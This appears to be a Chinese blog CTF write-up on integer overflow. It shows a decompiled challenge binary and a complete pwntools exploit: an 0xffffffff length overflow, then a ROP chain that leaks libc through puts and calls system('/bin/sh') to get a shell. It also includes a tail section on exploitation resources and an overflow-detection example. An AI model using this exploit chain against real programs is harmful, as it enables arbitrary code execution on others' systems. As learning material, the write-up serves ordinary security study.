简单的整数溢出

首先说一下原理

为什么会出现整数溢出?

因为机器底层只能处理01串,也就是说底层本身是无法识别有符号数和无符号数的,这些规定是存在于编辑器层面,在C语言中,整数的基本类型有以下几种(图片来源:CTF Wiki

在这里插入图片描述

溢出又分上溢出和下溢出

上溢出:

当出现0x7fff+1,或者0xffff+1的时候,假设0x7fff是无符号数,那么+1之后就是0

下溢出:

例如0x0000-1 -> 0xffff

总的来说,利用技巧就是利用代码里有符号和无符号数之间的转换问题,恶意将某个关键数值改的超大或者很小

正式做题

这个题本身应该不难,但是这个代码看着太恶心了,没有完全理解清楚

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // rsp@1
  void *v4; // rsp@3
  int v6; // [sp+Ch] [bp-24h]@1
  void *dest; // [sp+10h] [bp-20h]@3
  int v8; // [sp+1Ch] [bp-14h]@3
  _DWORD *v9; // [sp+20h] [bp-10h]@1 4字节类型
  void *buf; // [sp+28h] [bp-8h]@1

  v6 = argc;
  init_stdio();
  puts("welcome.....");
  v3 = alloca(32LL);
  buf = (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4));
  read(0, (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4)), 0xCuLL);
  v9 = buf;
  if ( *(_DWORD *)buf != 1852402515 || v9[1] != 1 )
  {
    puts("some thing wrong");
  }
  else
  {
    v8 = v9[2] + 32;
    v4 = alloca(16 * (((unsigned __int64)(unsigned int)v8 + 30) / 0x10));// 整数溢出
    dest = (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4));
    memcpy((void *)(16 * (((unsigned __int64)&v6 + 3) >> 4)), buf, 0xCuLL);
    read(0, (char *)dest + 12, v9[2]);          // 栈溢出
    handle_data();
  }
  return 0;
}

问题就出在else里面,v8是int型,但是这个地方却被作为无符号数处理,在机器里,底层是不会区分有符号数和无符号数,有符号和无符号是在编译层面才区分的,所以这个地方就可以进行一下整数溢出,修改能传入的数据大小限制,然后再利用栈溢出,获得shell

  else
  {
    v8 = v9[2] + 32;
    v4 = alloca(16 * (((unsigned __int64)(unsigned int)v8 + 30) / 0x10));// 整数溢出
    dest = (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4));
    memcpy((void *)(16 * (((unsigned __int64)&v6 + 3) >> 4)), buf, 0xCuLL);
    read(0, (char *)dest + 12, v9[2]);          // 栈溢出
    handle_data();
  }

exp:

使用p32的是因为,最初输入的地方,是buf,buf和v9是一个类型,都是dword,所以要用p32

from pwn import *

# context.log_level = 'debug'

p = process('./pwn')
r = ROP('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = r.find_gadget(['pop rdi','ret']).address

info("pop_rdi_ret: {}".format(hex(pop_rdi)))

p.recvuntil('welcome.....')

payload1 = p32(0x6e696b53)
payload1 += p32(0x1)
payload1 += p32(0xffffffff)
p.send(payload1)

# p.send('a'*200)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload2 = cyclic(124)
payload2 += p64(pop_rdi)
payload2 += p64(puts_got)
payload2 += p64(puts_plt)
payload2 += p64(elf.entry) 
p.send(payload2)

p.recvline()

puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
info("libc_base: {}".format(hex(libc_base)))

system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()

payload3 = p32(0x6e696b53)
payload3 += p32(0x1)
payload3 += p32(0xffffffff)
p.send(payload3)

payload4 = cyclic(124)
payload4 += p64(pop_rdi)
payload4 += p64(binsh_addr)
payload4 += p64(system_addr)
payload4 += p64(elf.entry)
p.send(payload4)

# gdb.attach(p)

p.interactive()

如果不知道cyclic(124)中的124是咋来的,继续往下看:

首先说明,attach后面那个send()里的字符串是使用pattern create生成的,执行下面这个脚本,然后按下’c’,即可正常寻找栈溢出偏移

from pwn import *

# context.log_level = 'debug'

p = process('./pwn')
r = ROP('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = r.find_gadget(['pop rdi','ret']).address

info("pop_rdi_ret: {}".format(hex(pop_rdi)))

p.recvuntil('welcome.....')

payload1 = p32(0x6e696b53)
payload1 += p32(0x1)
payload1 += p32(0xffffffff)
p.send(payload1)

gdb.attach(p)
p.send('aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa')

p.interactive()
### 整数溢出漏洞的利用方法 整数溢出漏洞通常发生在程序对整数进行算术运算时,导致结果超出数据类型的表示范围。这种漏洞在CTF竞赛中常被用来构造缓冲区溢出、内存破坏等攻击场景。具体利用方式包括: - **触发条件**:通过精心构造输入值,使得整数运算的结果发生溢出,从而改变程序的预期行为。例如,在分配内存时使用了不安全的整数运算,可能导致实际分配的内存大小小于预期,进而引发缓冲区溢出[^1]。 - **利用技巧**:利用整数溢出漏洞时,常见的策略是结合其他漏洞(如格式化字符串漏洞或堆喷射技术)来实现任意代码执行。例如,攻击者可能通过整数溢出绕过某些安全检查,然后利用堆喷射将恶意代码布置到内存中并执行。 ### CTF竞赛中的练习资源 为了更好地掌握整数溢出漏洞的利用技巧,参赛者可以通过以下资源进行练习: - **在线平台**:许多在线平台提供了丰富的CTF题目供练习,例如Pwnable.kr、Hack The Box以及CTFtime.org。这些平台上经常会有涉及整数溢出漏洞的题目,适合不同水平的学习者[^2]。 - **书籍推荐**: - 《Hacking: The Art of Exploitation》:这本书不仅介绍了基本的安全概念,还详细讲解了如何利用各种漏洞,包括整数溢出。 - 《Practical Reverse Engineering》:对于希望深入理解逆向工程和漏洞利用的人来说,这是一本非常好的参考书[^2]。 - **开源项目**:GitHub上有许多开源项目和教程,专门针对CTF竞赛中的各类漏洞利用技术进行了详细的演示和说明。搜索关键词“CTF integer overflow challenge”可以找到相关的示例和解决方案[^2]。 ### 示例代码 下面是一个简单的C语言示例,展示了如何检测整数溢出: ```c #include <stdio.h> #include <stdlib.h> int main() { int a = 2147483647; // Maximum value for a 32-bit signed integer int b = 1; int result; if (__builtin_add_overflow(a, b, &result)) { printf("Integer overflow detected!\n"); } else { printf("Result: %d\n", result); } return 0; } ``` 这段代码使用了GCC内置函数`__builtin_add_overflow`来检测两个整数相加是否会发生溢出。如果检测到溢出,则输出提示信息;否则,输出计算结果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值